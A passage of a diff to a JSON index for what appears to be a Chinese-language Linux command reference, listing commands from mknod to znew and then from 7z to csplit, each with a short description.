9660映像文件"},"mknod":{"n":"mknod","p":"/mknod","d":"创建字符设备文件和块设备文件"},"mkswap":{"n":"mkswap","p":"/mkswap","d":"建立和设置SWAP交换分区"},"mktemp":{"n":"mktemp","p":"/mktemp","d":"创建临时文件供shell脚本使用"},"modprobe":{"n":"modprobe","p":"/modprobe","d":"自动处理可载入模块"},"more":{"n":"more","p":"/more","d":"显示文件内容,每次显示一屏"},"mount":{"n":"mount","p":"/mount","d":"用于挂载Linux系统外的文件"},"mpstat":{"n":"mpstat","p":"/mpstat","d":"显示各个可用CPU的状态"},"mtools":{"n":"mtools","p":"/mtools","d":"显示mtools支持的指令"},"mv":{"n":"mv","p":"/mv","d":"用来对文件或目录重新命名"},"mysql":{"n":"mysql","p":"/mysql","d":"MySQL服务器客户端工具"},"mysqladmin":{"n":"mysqladmin","p":"/mysqladmin","d":"MySQL服务器管理客户端"},"mysqldump":{"n":"mysqldump","p":"/mysqldump","d":"MySQL数据库中备份工具"},"mysqlimport":{"n":"mysqlimport","p":"/mysqlimport","d":"为MySQL服务器用命令行方式导入数据"},"mysqlshow":{"n":"mysqlshow","p":"/mysqlshow","d":"显示MySQL中数据库相关信息"},"named-checkzone":{"n":"named-checkzone","p":"/named-checkzone","d":"使用named-checkzone命令可以进行区域文件有效性检查和转换,必须指定区域名称和区域文件名称"},"nano":{"n":"nano","p":"/nano","d":"字符终端文本编辑器"},"nc":{"n":"nc","p":"/nc","d":"用于设置路由器,是网络工具中的瑞士军刀。"},"ncftp":{"n":"ncftp","p":"/ncftp","d":"是增强的的FTP工具"},"neofetch":{"n":"neofetch","p":"/neofetch","d":"显示带有发行徽标的系统信息的工具"},"nethogs":{"n":"nethogs","p":"/nethogs","d":"终端下的网络流量监控工具"},"netstat":{"n":"netstat","p":"/netstat","d":"查看Linux中网络系统状态信息"},"newusers":{"n":"newusers","p":"/newusers","d":"用于批处理的方式一次创建多个命令"},"nfsstat":{"n":"nfsstat","p":"/nfsstat","d":"列出NFS客户端和服务器的工作状态"},"ngrep":{"n":"ngrep","p":"/ngrep","d":"方便的数据包匹配和显示工具"},"nice":{"n":"nice","p":"/nice","d":"调整程序执行的优先权等级"},"nisdomainname":{"n":"nisdomainname","p":"/nisdomainname","d":"显示主机NIS的域名"},"nl":{"n":"nl","p":"/nl","d":"为每一个文件添加行号。"},"nm":{"n":"nm","p":"/nm","d":"显示二进制目标文件的符号表"},"nmap":{"n":"nmap","p":"/nmap","d":"网络探测和安全审核"},"nmcli":{"n":"nmcli","p":"/nmcli","d":"地址配置工具"},"nohup":{"n":"nohup","p":"/nohup","d":"将程序以忽略挂起信号的方式运行起来"},"nologin":{"n":"nologin","p":"/nologin","d":"拒绝用户登录系统"},"nproc":{"n":"nproc","p":"/nproc","d":"打印可用的处理器单元数量。"},"nslookup":{"n":"nslookup","p":"/nslookup","d":"查询域名DNS信息的工具"},"ntpdate":{"n":"ntpdate","p":"/ntpdate","d":"使用网络计时协议(NTP)设置日期和时间"},"ntsysv":{"n":"ntsysv","p":"/ntsysv","d":"集中管理系统的各种服务"},"objdump":{"n":"objdump","p":"/objdump","d":"显示二进制文件信息"},"od":{"n":"od","p":"/od","d":"输出文件的八进制、十六进制等格式编码的字节"},"openssl":{"n":"openssl","p":"/openssl","d":"强大的安全套接字层密码库"},"parted":{"n":"parted","p":"/parted","d":"磁盘分区和分区大小调整工具"},"partprobe":{"n":"partprobe","p":"/partprobe","d":"不重启的情况下重读分区"},"passwd":{"n":"passwd","p":"/passwd","d":"用于让用户可以更改自己的密码"},"paste":{"n":"paste","p":"/paste","d":"将多个文件按列队列合并"},"patch":{"n":"patch","p":"/patch","d":"为开放源代码软件安装补丁程序"},"pathchk":{"n":"pathchk","p":"/pathchk","d":"检查文件中不可移植的部分"},"perl":{"n":"perl","p":"/perl","d":"perl语言解释器"},"pfctl":{"n":"pfctl","p":"/pfctl","d":"PF防火墙的配置命令"},"pgrep":{"n":"pgrep","p":"/pgrep","d":"根据用户给出的信息在当前运行进程中查找并列出符合条件的进程ID(PID)"},"php":{"n":"php","p":"/php","d":"PHP语言的命令行接口"},"pico":{"n":"pico","p":"/pico","d":"功能强大全屏幕的文本编辑器"},"pidof":{"n":"pidof","p":"/pidof","d":"查找指定名称的进程的进程号ID号"},"pidstat":{"n":"pidstat","p":"/pidstat","d":"监控进程的系统资源占用情况"},"pigz":{"n":"pigz","p":"/pigz","d":"可以用来解压缩文件,gzip的并行实现升级版"},"ping":{"n":"ping","p":"/ping","d":"测试主机之间网络的连通性"},"pkill":{"n":"pkill","p":"/pkill","d":"可以按照进程名杀死进程"},"pmap":{"n":"pmap","p":"/pmap","d":"报告进程的内存映射关系"},"popd":{"n":"popd","p":"/popd","d":"从目录堆栈中删除目录。"},"poweroff":{"n":"poweroff","p":"/poweroff","d":"关闭Linux系统,关闭记录会被写入到/var/log/wtmp日志文件中"},"ppp-off":{"n":"ppp-off","p":"/ppp-off","d":"关闭ppp连线"},"pr":{"n":"pr","p":"/pr","d":"将文本文件转换成适合打印的格式"},"printf":{"n":"printf","p":"/printf","d":"格式化并输出结果。"},"protoize":{"n":"protoize","p":"/protoize","d":"GNU-C代码转换为ANSI-C代码"},"ps":{"n":"ps","p":"/ps","d":"报告当前系统的进程状态"},"pssh":{"n":"pssh","p":"/pssh","d":"批量管理执行"},"pstack":{"n":"pstack","p":"/pstack","d":"显示每个进程的栈跟踪"},"pstree":{"n":"pstree","p":"/pstree","d":"以树状图的方式展现进程之间的派生关系"},"pushd":{"n":"pushd","p":"/pushd","d":"将目录添加到目录堆栈顶部。"},"pv":{"n":"pv","p":"/pv","d":"显示当前在命令行执行的命令的进度信息,管道查看器"},"pvchange":{"n":"pvchange","p":"/pvchange","d":"修改物理卷属性"},"pvck":{"n":"pvck","p":"/pvck","d":"检测物理卷的LVM元数据的一致性"},"pvcreate":{"n":"pvcreate","p":"/pvcreate","d":"将物理硬盘分区初始化为物理卷"},"pvdisplay":{"n":"pvdisplay","p":"/pvdisplay","d":"显示物理卷的属性"},"pvremove":{"n":"pvremove","p":"/pvremove","d":"删除一个存在的物理卷"},"pvs":{"n":"pvs","p":"/pvs","d":"输出物理卷信息报表"},"pvscan":{"n":"pvscan","p":"/pvscan","d":"扫描系统中所有硬盘的物理卷列表"},"pwck":{"n":"pwck","p":"/pwck","d":"用来验证系统认证文件内容和格式的完整性"},"pwconv":{"n":"pwconv","p":"/pwconv","d":"用来开启用户的投影密码"},"pwd":{"n":"pwd","p":"/pwd","d":"显示当前工作目录的绝对路径。"},"pwunconv":{"n":"pwunconv","p":"/pwunconv","d":"用来关闭用户的投影密码"},"quota":{"n":"quota","p":"/quota","d":"显示磁盘已使用的空间与限制"},"quotacheck":{"n":"quotacheck","p":"/quotacheck","d":"检查磁盘的使用空间与限制"},"quotaoff":{"n":"quotaoff","p":"/quotaoff","d":"关闭Linux内核中指定文件系统的磁盘配额功能"},"quotaon":{"n":"quotaon","p":"/quotaon","d":"激活Linux内核中指定文件系统的磁盘配额功能"},"rcconf":{"n":"rcconf","p":"/rcconf","d":"Debian Linux下的运行等级服务配置工具"},"rcp":{"n":"rcp","p":"/rcp","d":"使在两台Linux主机之间的文件复制操作更简单"},"read":{"n":"read","p":"/read","d":"从键盘读取变量值"},"readelf":{"n":"readelf","p":"/readelf","d":"用于显示elf格式文件的信息"},"readonly":{"n":"readonly","p":"/readonly","d":"标记shell变量或函数为只读"},"reboot":{"n":"reboot","p":"/reboot","d":"重新启动正在运行的Linux操作系统"},"reject":{"n":"reject","p":"/reject","d":"指示打印系统拒绝发往指定目标打印机的打印任务"},"rename":{"n":"rename","p":"/rename","d":"用字符串替换的方式批量改变文件名"},"renice":{"n":"renice","p":"/renice","d":"修改正在运行的进程的调度优先级"},"repquota":{"n":"repquota","p":"/repquota","d":"报表的格式输出磁盘空间限制的状态"},"resize":{"n":"resize","p":"/resize","d":"命令设置终端机视窗的大小"},"restore":{"n":"restore","p":"/restore","d":"所进行的操作和dump指令相反"},"restorecon":{"n":"restorecon","p":"/restorecon","d":"恢复文件的安全上下文"},"return":{"n":"return","p":"/return","d":"从函数中退出并返回数值。"},"rev":{"n":"rev","p":"/rev","d":"将文件内容以字符为单位反序输出"},"rexec":{"n":"rexec","p":"/rexec","d":"远程执行Linux系统下命令"},"rlogin":{"n":"rlogin","p":"/rlogin","d":"从当前终端登录到远程Linux主机"},"rm":{"n":"rm","p":"/rm","d":"用于删除给定的文件和目录"},"rmdir":{"n":"rmdir","p":"/rmdir","d":"用来删除空目录"},"rmmod":{"n":"rmmod","p":"/rmmod","d":"从运行的内核中移除指定的内核模块"},"route":{"n":"route","p":"/route","d":"显示并设置Linux中静态路由表"},"rpm":{"n":"rpm","p":"/rpm","d":"RPM软件包的管理工具"},"rpm2cpio":{"n":"rpm2cpio","p":"/rpm2cpio","d":"将RPM软件包转换为cpio格式的文件"},"rpmbuild":{"n":"rpmbuild","p":"/rpmbuild","d":"创建RPM的二进制软件包和源码软件包"},"rpmdb":{"n":"rpmdb","p":"/rpmdb","d":"初始化和重建RPM数据库"},"rpmquery":{"n":"rpmquery","p":"/rpmquery","d":"从RPM数据库中查询软件包信息"},"rpmsign":{"n":"rpmsign","p":"/rpmsign","d":"使用RPM软件包的签名管理工具"},"rpmverify":{"n":"rpmverify","p":"/rpmverify","d":"验证已安装的RPM软件包的正确性"},"rsh":{"n":"rsh","p":"/rsh","d":"连接远程主机并执行命令"},"rsync":{"n":"rsync","p":"/rsync","d":"远程数据同步工具"},"runlevel":{"n":"runlevel","p":"/runlevel","d":"打印当前Linux系统的运行等级"},"sar":{"n":"sar","p":"/sar","d":"系统运行状态统计工具"},"scp":{"n":"scp","p":"/scp","d":"加密的方式在本地主机和远程主机之间复制文件"},"screen":{"n":"screen","p":"/screen","d":"用于命令行终端切换"},"script":{"n":"script","p":"/script","d":"记录终端会话的所有操作"},"scriptreplay":{"n":"scriptreplay","p":"/scriptreplay","d":"重新播放终端会话的所有操作"},"sed":{"n":"sed","p":"/sed","d":"功能强大的流式文本编辑器"},"seinfo":{"n":"seinfo","p":"/seinfo","d":"查询SELinux的策略提供多少相关规则"},"semanage":{"n":"semanage","p":"/semanage","d":"默认目录的安全上下文查询与修改"},"sendmail":{"n":"sendmail","p":"/sendmail","d":"著名电子邮件服务器"},"seq":{"n":"seq","p":"/seq","d":"以指定增量从首数开始打印数字到尾数"},"service":{"n":"service","p":"/service","d":"控制系统服务的实用工具"},"sesearch":{"n":"sesearch","p":"/sesearch","d":"查询SELinux策略的规则详情"},"set":{"n":"set","p":"/set","d":"显示或设置shell特性及shell变量"},"setfacl":{"n":"setfacl","p":"/setfacl","d":"设置文件访问控制列表"},"setpci":{"n":"setpci","p":"/setpci","d":"查询和配置PCI设备的使用工具"},"setsebool":{"n":"setsebool","p":"/setsebool","d":"修改SElinux策略内各项规则的布尔值"},"setsid":{"n":"setsid","p":"/setsid","d":"在新的会话中运行程序"},"sftp-server":{"n":"sftp-server","p":"/sftp-server","d":"sftp协议的服务器端程序"},"sftp":{"n":"sftp","p":"/sftp","d":"交互式的文件传输程序"},"sh":{"n":"sh","p":"/sh","d":"shell命令解释器"},"shift":{"n":"shift","p":"/shift","d":"移动位置参数。"},"shopt":{"n":"shopt","p":"/shopt","d":"显示和设置shell操作选项"},"showmount":{"n":"showmount","p":"/showmount","d":"显示NFS服务器加载的信息"},"shuf":{"n":"shuf","p":"/shuf","d":"产生随机的排列。"},"shutdown":{"n":"shutdown","p":"/shutdown","d":"用来执行系统关机的命令"},"skill":{"n":"skill","p":"/skill","d":"向选定的进程发送信号冻结进程"},"slabtop":{"n":"slabtop","p":"/slabtop","d":"实时显示内核slab内存缓存信息"},"sleep":{"n":"sleep","p":"/sleep","d":"将目前动作延迟一段时间"},"slocate":{"n":"slocate","p":"/slocate","d":"命令查找文件或目录"},"smbclient":{"n":"smbclient","p":"/smbclient","d":"交互方式访问samba服务器"},"smbpasswd":{"n":"smbpasswd","p":"/smbpasswd","d":"samba用户和密码管理工具"},"sort":{"n":"sort","p":"/sort","d":"对文本文件中所有行进行排序。"},"source":{"n":"source","p":"/source","d":"在当前Shell环境中从指定文件读取和执行命令。"},"speedtest-cli":{"n":"speedtest-cli","p":"/speedtest-cli","d":"命令行下测试服务器外网速度"},"spell":{"n":"spell","p":"/spell","d":"对文件进行拼写检查"},"split":{"n":"split","p":"/split","d":"分割任意大小的文件"},"squid":{"n":"squid","p":"/squid","d":"squid服务器守护进程"},"squidclient":{"n":"squidclient","p":"/squidclient","d":"squid服务器的客户端管理工具"},"ss":{"n":"ss","p":"/ss","d":"比 netstat 好用的socket统计信息,iproute2 包附带的另一个工具,允许你查询 socket 的有关统计信息"},"ssh-add":{"n":"ssh-add","p":"/ssh-add","d":"把专用密钥添加到ssh-agent的高速缓存中"},"ssh-agent":{"n":"ssh-agent","p":"/ssh-agent","d":"ssh密钥管理器"},"ssh-copy-id":{"n":"ssh-copy-id","p":"/ssh-copy-id","d":"把本地的ssh公钥文件安装到远程主机对应的账户下"},"ssh-keygen":{"n":"ssh-keygen","p":"/ssh-keygen","d":"为ssh生成、管理和转换认证密钥"},"ssh-keyscan":{"n":"ssh-keyscan","p":"/ssh-keyscan","d":"收集主机公钥的使用工具"},"ssh":{"n":"ssh","p":"/ssh","d":"openssh套件中的客户端连接工具"},"sshd":{"n":"sshd","p":"/sshd","d":"openssh软件套件中的服务器守护进程"},"startx":{"n":"startx","p":"/startx","d":"用来启动X Window"},"stat":{"n":"stat","p":"/stat","d":"用于显示文件的状态信息"},"strace":{"n":"strace","p":"/strace","d":"跟踪系统调用和信号"},"strings":{"n":"strings","p":"/strings","d":"在对象文件或二进制文件中查找可打印的字符串"},"stty":{"n":"stty","p":"/stty","d":"修改终端命令行的相关设置"},"su":{"n":"su","p":"/su","d":"用于切换当前用户身份到其他用户身份"},"sudo":{"n":"sudo","p":"/sudo","d":"以其他身份来执行命令"},"sum":{"n":"sum","p":"/sum","d":"计算文件的校验码和显示块数"},"supervisord":{"n":"supervisord","p":"/supervisord","d":"配置后台服务/常驻进程的进程管家工具"},"suspend":{"n":"suspend","p":"/suspend","d":"挂起shell的执行。"},"swapoff":{"n":"swapoff","p":"/swapoff","d":"关闭指定的交换空间"},"swapon":{"n":"swapon","p":"/swapon","d":"激活Linux系统中交换空间"},"sync":{"n":"sync","p":"/sync","d":"用于强制被改变的内容立刻写入磁盘"},"sysctl":{"n":"sysctl","p":"/sysctl","d":"时动态地修改内核的运行参数"},"syslog":{"n":"syslog","p":"/syslog","d":"系统默认的日志守护进程"},"systemctl":{"n":"systemctl","p":"/systemctl","d":"系统服务管理器指令"},"systool":{"n":"systool","p":"/systool","d":"显示基于总线、类和拓扑显示系统中设备的信息"},"tac":{"n":"tac","p":"/tac","d":"连接多个文件并以行为单位反向打印到标准输出。"},"tail":{"n":"tail","p":"/tail","d":"在屏幕上显示指定文件的末尾若干行"},"tailf":{"n":"tailf","p":"/tailf","d":"在屏幕上显示指定文件的末尾若干行内容,通常用于日志文件的跟踪输出"},"talk":{"n":"talk","p":"/talk","d":"让用户和其他用户聊天"},"tar":{"n":"tar","p":"/tar","d":"将许多文件一起保存至一个单独的磁带或磁盘归档,并能从归档中单独还原所需文件。"},"tcpdump":{"n":"tcpdump","p":"/tcpdump","d":"一款sniffer工具,是Linux上的抓包工具,嗅探器"},"tcpreplay":{"n":"tcpreplay","p":"/tcpreplay","d":"将PCAP包重新发送,用于性能或者功能测试"},"tee":{"n":"tee","p":"/tee","d":"从标准输入读取数据并重定向到标准输出和文件。"},"telinit":{"n":"telinit","p":"/telinit","d":"切换当前正在运行系统的运行等级"},"telnet":{"n":"telnet","p":"/telnet","d":"登录远程主机和管理(测试ip端口是否连通)"},"tempfile":{"n":"tempfile","p":"/tempfile","d":"shell中给临时文件命名"},"test":{"n":"test","p":"/test","d":"执行条件表达式。"},"tftp":{"n":"tftp","p":"/tftp","d":"在本机和tftp服务器之间使用TFTP协议传输文件"},"time":{"n":"time","p":"/time","d":"统计给定命令所花费的总时间"},"timedatectl":{"n":"timedatectl","p":"/timedatectl","d":"用于在 Linux 中设置或查询系统时间、日期和时区等配置。"},"times":{"n":"times","p":"/times","d":"显示进程累计时间。"},"tload":{"n":"tload","p":"/tload","d":"显示系统负载状况"},"tmux":{"n":"tmux","p":"/tmux","d":"Tmux是一个优秀的终端复用软件,类似GNU Screen,但来自于OpenBSD,采用BSD授权"},"top":{"n":"top","p":"/top","d":"显示或管理执行中的程序"},"touch":{"n":"touch","p":"/touch","d":"创建新的空文件"},"tput":{"n":"tput","p":"/tput","d":"通过terminfo数据库对终端会话进行初始化和操作"},"tr":{"n":"tr","p":"/tr","d":"将字符进行替换压缩和删除"},"tracepath":{"n":"tracepath","p":"/tracepath","d":"追踪目的主机经过的路由信息"},"traceroute":{"n":"traceroute","p":"/traceroute","d":"显示数据包到主机间的路径"},"trap":{"n":"trap","p":"/trap","d":"捕捉信号和其他事件并执行命令。"},"tree":{"n":"tree","p":"/tree","d":"树状图列出目录的内容"},"true":{"n":"true","p":"/true","d":"返回状态为成功。"},"tty":{"n":"tty","p":"/tty","d":"显示连接到当前标准输入的终端设备文件名"},"type":{"n":"type","p":"/type","d":"显示指定命令的类型。"},"ulimit":{"n":"ulimit","p":"/ulimit","d":"控制shell程序的资源"},"umask":{"n":"umask","p":"/umask","d":"显示或设置创建文件的权限掩码。"},"umount":{"n":"umount","p":"/umount","d":"用于卸载已经加载的文件系统"},"unalias":{"n":"unalias","p":"/unalias","d":"删除由alias设置的别名"},"uname":{"n":"uname","p":"/uname","d":"打印系统信息。"},"unarj":{"n":"unarj","p":"/unarj","d":"解压缩由arj命令创建的压缩包"},"uncompress":{"n":"uncompress","p":"/uncompress","d":"用来解压.Z文件"},"unexpand":{"n":"unexpand","p":"/unexpand","d":"将文件的空白字符转换为制表符"},"uniq":{"n":"uniq","p":"/uniq","d":"显示或忽略重复的行。"},"unlink":{"n":"unlink","p":"/unlink","d":"系统调用函数unlink去删除指定的文件"},"unprotoize":{"n":"unprotoize","p":"/unprotoize","d":"删除C语言源代码文件中的函数原型"},"unrar":{"n":"unrar","p":"/unrar","d":"解压rar文件命令,从 rar 压缩包中提取文件"},"unset":{"n":"unset","p":"/unset","d":"删除指定的shell变量或函数。"},"unzip":{"n":"unzip","p":"/unzip","d":"用于解压缩由zip命令压缩的压缩包"},"updatedb":{"n":"updatedb","p":"/updatedb","d":"创建或更新slocate命令所必需的数据库文件"},"uptime":{"n":"uptime","p":"/uptime","d":"查看Linux系统负载信息"},"useradd":{"n":"useradd","p":"/useradd","d":"创建的新的系统用户"},"userdel":{"n":"userdel","p":"/userdel","d":"用于删除给定的用户以及与用户相关的文件"},"usermod":{"n":"usermod","p":"/usermod","d":"用于修改用户的基本信息"},"usernetctl":{"n":"usernetctl","p":"/usernetctl","d":"被允许时操作指定的网络接口"},"users":{"n":"users","p":"/users","d":"打印当前主机所有登陆用户的名称。"},"uucico":{"n":"uucico","p":"/uucico","d":"UUCP文件传输服务程序"},"uupick":{"n":"uupick","p":"/uupick","d":"命令处理传送进来的文件"},"uuto":{"n":"uuto","p":"/uuto","d":"将文件传送到远端的UUCP主机"},"vdfuse":{"n":"vdfuse","p":"/vdfuse","d":"VirtualBox软件挂载VDI分区文件工具"},"vgchange":{"n":"vgchange","p":"/vgchange","d":"修改卷组属性"},"vgconvert":{"n":"vgconvert","p":"/vgconvert","d":"转换卷组元数据格式"},"vgcreate":{"n":"vgcreate","p":"/vgcreate","d":"用于创建LVM卷组"},"vgdisplay":{"n":"vgdisplay","p":"/vgdisplay","d":"显示LVM卷组的信息"},"vgextend":{"n":"vgextend","p":"/vgextend","d":"向卷组中添加物理卷"},"vgreduce":{"n":"vgreduce","p":"/vgreduce","d":"从卷组中删除物理卷"},"vgremove":{"n":"vgremove","p":"/vgremove","d":"用于用户删除LVM卷组"},"vgrename":{"n":"vgrename","p":"/vgrename","d":"使用vgrename命令可以重命名卷组的名称"},"vgscan":{"n":"vgscan","p":"/vgscan","d":"扫描并显示系统中的卷组"},"vi":{"n":"vi","p":"/vi","d":"功能强大的纯文本编辑器"},"vmstat":{"n":"vmstat","p":"/vmstat","d":"显示虚拟内存状态"},"volname":{"n":"volname","p":"/volname","d":"显示指定的ISO-9660格式的设备的卷名称"},"w":{"n":"w","p":"/w","d":"显示目前登入系统的用户信息"},"wait":{"n":"wait","p":"/wait","d":"等待进程执行完后返回"},"wall":{"n":"wall","p":"/wall","d":"向系统当前所有打开的终端上输出信息"},"watch":{"n":"watch","p":"/watch","d":"可以将命令的输出结果输出到标准输出设备,多用于周期性执行命令/定时执行命令"},"wc":{"n":"wc","p":"/wc","d":"统计文件的字节数、字数、行数"},"wget":{"n":"wget","p":"/wget","d":"Linux系统下载文件工具"},"whatis":{"n":"whatis","p":"/whatis","d":"查询一个命令执行什么功能"},"whereis":{"n":"whereis","p":"/whereis","d":"查找二进制程序、代码等相关文件路径"},"which":{"n":"which","p":"/which","d":"查找并显示给定命令的绝对路径"},"who":{"n":"who","p":"/who","d":"显示当前所有登陆用户的信息。"},"whoami":{"n":"whoami","p":"/whoami","d":"打印当前有效的用户ID对应的名称"},"write":{"n":"write","p":"/write","d":"向指定登录用户终端上发送信息"},"xargs":{"n":"xargs","p":"/xargs","d":"给其他命令传递参数的一个过滤器"},"xauth":{"n":"xauth","p":"/xauth","d":"显示和编辑被用于连接X服务器的认证信息"},"xclip":{"n":"xclip","p":"/xclip","d":"管理 X 粘贴板"},"xhost":{"n":"xhost","p":"/xhost","d":"制哪些X客户端能够在X服务器上显示"},"xinit":{"n":"xinit","p":"/xinit","d":"是Linux下X-Window系统的初始化程序"},"xlsatoms":{"n":"xlsatoms","p":"/xlsatoms","d":"列出X服务器内部所有定义的原子成分"},"xlsclients":{"n":"xlsclients","p":"/xlsclients","d":"列出显示器中的客户端应用程序"},"xlsfonts":{"n":"xlsfonts","p":"/xlsfonts","d":"列出X Server使用的字体"},"xset":{"n":"xset","p":"/xset","d":"设置X-Window系统中的用户爱好的实用工具"},"xz":{"n":"xz","p":"/xz","d":"POSIX 平台开发具有高压缩率的工具"},"yes":{"n":"yes","p":"/yes","d":"重复打印指定字符串"},"ypdomainname":{"n":"ypdomainname","p":"/ypdomainname","d":"显示主机的NIS的域名"},"yum":{"n":"yum","p":"/yum","d":"基于RPM的软件包管理器"},"zcat":{"n":"zcat","p":"/zcat","d":"显示压缩包中文件的内容"},"zfore":{"n":"zfore","p":"/zfore","d":"强制为gzip格式的压缩文件添加.gz后缀"},"zip":{"n":"zip","p":"/zip","d":"可以用来解压缩文件"},"zipinfo":{"n":"zipinfo","p":"/zipinfo","d":"用来列出压缩文件信息"},"zipsplit":{"n":"zipsplit","p":"/zipsplit","d":"将较大的zip压缩包分割成各个较小的压缩包"},"znew":{"n":"znew","p":"/znew","d":"将.Z压缩包重新转化为gzip命令压缩的.gz压缩包"}}
\ No newline at end of file
+{"7z":{"n":"7z","p":"/7z","d":"拥有极高压缩比的开源压缩软件。"},"ab":{"n":"ab","p":"/ab","d":"Apache服务器的性能测试工具"},"accept":{"n":"accept","p":"/accept","d":"指示打印系统接受发往指定目标打印机的打印任务"},"ack":{"n":"ack","p":"/ack","d":"比grep好用的文本搜索工具"},"ag":{"n":"ag","p":"/ag","d":"ack 的升级版,C语言编写,更快更人性化"},"alias":{"n":"alias","p":"/alias","d":"定义或显示别名。"},"apachectl":{"n":"apachectl","p":"/apachectl","d":"Apache服务器前端控制工具"},"apk":{"n":"apk","p":"/apk","d":"Alpine Linux 下的包管理工具"},"apropos":{"n":"apropos","p":"/apropos","d":"在 whatis 数据库中查找字符串"},"apt-get":{"n":"apt-get","p":"/apt-get","d":"Debian Linux发行版中的APT软件包管理工具"},"apt-key":{"n":"apt-key","p":"/apt-key","d":"管理Debian Linux系统中的软件包密钥"},"apt-sortpkgs":{"n":"apt-sortpkgs","p":"/apt-sortpkgs","d":"Debian Linux下对软件包索引文件进行排序的工具"},"aptitude":{"n":"aptitude","p":"/aptitude","d":"Debian Linux系统中软件包管理工具"},"ar":{"n":"ar","p":"/ar","d":"建立或修改备存文件,或是从备存文件中抽取文件"},"arch":{"n":"arch","p":"/arch","d":"显示当前主机的硬件架构类型"},"arj":{"n":"arj","p":"/arj","d":"用于创建和管理.arj压缩包"},"arp":{"n":"arp","p":"/arp","d":"arp 命令用于显示和修改 IP 到 MAC 转换表"},"arpd":{"n":"arpd","p":"/arpd","d":"收集免费ARP信息"},"arping":{"n":"arping","p":"/arping","d":"通过发送ARP协议报文测试网络"},"arptables":{"n":"arptables","p":"/arptables","d":"管理ARP包过滤规则表"},"arpwatch":{"n":"arpwatch","p":"/arpwatch","d":"监听网络上ARP的记录"},"as":{"n":"as","p":"/as","d":"汇编语言编译器"},"at":{"n":"at","p":"/at","d":"在指定时间执行一个任务"},"atop":{"n":"atop","p":"/atop","d":"监控Linux系统资源与进程的工具"},"atq":{"n":"atq","p":"/atq","d":"列出当前用户的at任务列表"},"atrm":{"n":"atrm","p":"/atrm","d":"删除待执行任务队列中的指定任务"},"awk":{"n":"awk","p":"/awk","d":"文本和数据进行处理的编程语言"},"axel":{"n":"axel","p":"/axel","d":"多线程下载工具"},"badblocks":{"n":"badblocks","p":"/badblocks","d":"查找磁盘中损坏的区块"},"base64":{"n":"base64","p":"/base64","d":"base64 编码/解码文件或标准输入输出"},"basename":{"n":"basename","p":"/basename","d":"打印目录或者文件的基本名称"},"batch":{"n":"batch","p":"/batch","d":"在系统不繁忙的时候执行定时任务"},"bc":{"n":"bc","p":"/bc","d":"算术操作精密运算工具"},"bg":{"n":"bg","p":"/bg","d":"将前台终端作业移动到后台运行"},"bind":{"n":"bind","p":"/bind","d":"显示或设置键盘按键与其相关的功能"},"blkid":{"n":"blkid","p":"/blkid","d":"查看块设备的文件系统类型、LABEL、UUID等信息"},"blockdev":{"n":"blockdev","p":"/blockdev","d":"从命令行调用区块设备控制程序"},"break":{"n":"break","p":"/break","d":"结束for,while或until循环。"},"builtin":{"n":"builtin","p":"/builtin","d":"执行bash内建命令。"},"bunzip2":{"n":"bunzip2","p":"/bunzip2","d":"可解压缩.bz2格式的压缩文件。 "},"bye":{"n":"bye","p":"/bye","d":"命令用于中断FTP连线并结束程序"},"bzcat":{"n":"bzcat","p":"/bzcat","d":"不解压,直接查看指定的.bz2文件"},"bzcmp":{"n":"bzcmp","p":"/bzcmp","d":"比较两个压缩包中的文件"},"bzdiff":{"n":"bzdiff","p":"/bzdiff","d":"直接比较两个.bz2压缩包中文件的不同"},"bzgrep":{"n":"bzgrep","p":"/bzgrep","d":"使用正则表达式搜索.bz2压缩包中文件"},"bzip2":{"n":"bzip2","p":"/bzip2","d":"将文件压缩成bz2格式"},"bzip2recover":{"n":"bzip2recover","p":"/bzip2recover","d":"恢复被破坏的.bz2压缩包中的文件"},"bzless":{"n":"bzless","p":"/bzless","d":"增强.bz2压缩包查看器"},"bzmore":{"n":"bzmore","p":"/bzmore","d":"查看bzip2压缩过的文本文件的内容"},"cal":{"n":"cal","p":"/cal","d":"显示当前日历或指定日期的日历"},"cancel":{"n":"cancel","p":"/cancel","d":"取消已存在的打印任务"},"cat":{"n":"cat","p":"/cat","d":"连接多个文件并打印到标准输出。"},"cd":{"n":"cd","p":"/cd","d":"切换用户当前工作目录。"},"cdrecord":{"n":"cdrecord","p":"/cdrecord","d":"Linux系统下光盘刻录功能命令"},"chage":{"n":"chage","p":"/chage","d":"修改帐号和密码的有效期限"},"chattr":{"n":"chattr","p":"/chattr","d":"用来改变文件属性"},"chcon":{"n":"chcon","p":"/chcon","d":"修改对象(文件)的安全上下文"},"chfn":{"n":"chfn","p":"/chfn","d":"用来改变finger命令显示的信息"},"chgrp":{"n":"chgrp","p":"/chgrp","d":"用来变更文件或目录的所属群组"},"chkconfig":{"n":"chkconfig","p":"/chkconfig","d":"检查或设置系统的各种服务"},"chmod":{"n":"chmod","p":"/chmod","d":"用来变更文件或目录的权限"},"chown":{"n":"chown","p":"/chown","d":"用来变更文件或目录的拥有者或所属群组"},"chpasswd":{"n":"chpasswd","p":"/chpasswd","d":"批量更新用户口令的工具"},"chroot":{"n":"chroot","p":"/chroot","d":"把根目录换成指定的目的目录"},"chsh":{"n":"chsh","p":"/chsh","d":"用来更换登录系统时使用的shell"},"cksum":{"n":"cksum","p":"/cksum","d":"检查文件的CRC是否正确"},"clear":{"n":"clear","p":"/clear","d":"清除当前屏幕终端上的任何信息"},"clock":{"n":"clock","p":"/clock","d":"用于调整 RTC 时间"},"clockdiff":{"n":"clockdiff","p":"/clockdiff","d":"检测两台linux主机的时间差"},"cmp":{"n":"cmp","p":"/cmp","d":"比较两个文件是否有差异"},"col":{"n":"col","p":"/col","d":"过滤控制字符"},"colrm":{"n":"colrm","p":"/colrm","d":"删除文件中的指定列"},"column":{"n":"column","p":"/column","d":"按列格式化输出文件"},"comm":{"n":"comm","p":"/comm","d":"按行比较两个已排序的文件。"},"command":{"n":"command","p":"/command","d":"调用并执行指定的命令"},"compress":{"n":"compress","p":"/compress","d":"使用Lempress-Ziv编码压缩数据文件"},"consoletype":{"n":"consoletype","p":"/consoletype","d":"输出已连接的终端类型"},"continue":{"n":"continue","p":"/continue","d":"结束本次循环,继续执行下一个for,while或until循环。"},"convertquota":{"n":"convertquota","p":"/convertquota","d":"把老的配额文件转换为新的格式"},"cp":{"n":"cp","p":"/cp","d":"将源文件或目录复制到目标文件或目录中"},"cpio":{"n":"cpio","p":"/cpio","d":"用来建立、还原备份档的工具程序"},"createrepo":{"n":"createrepo","p":"/createrepo","d":"创建YUM仓库"},"crontab":{"n":"crontab","p":"/crontab","d":"提交和管理用户的需要周期性执行的任务"},"csplit":{"n":"c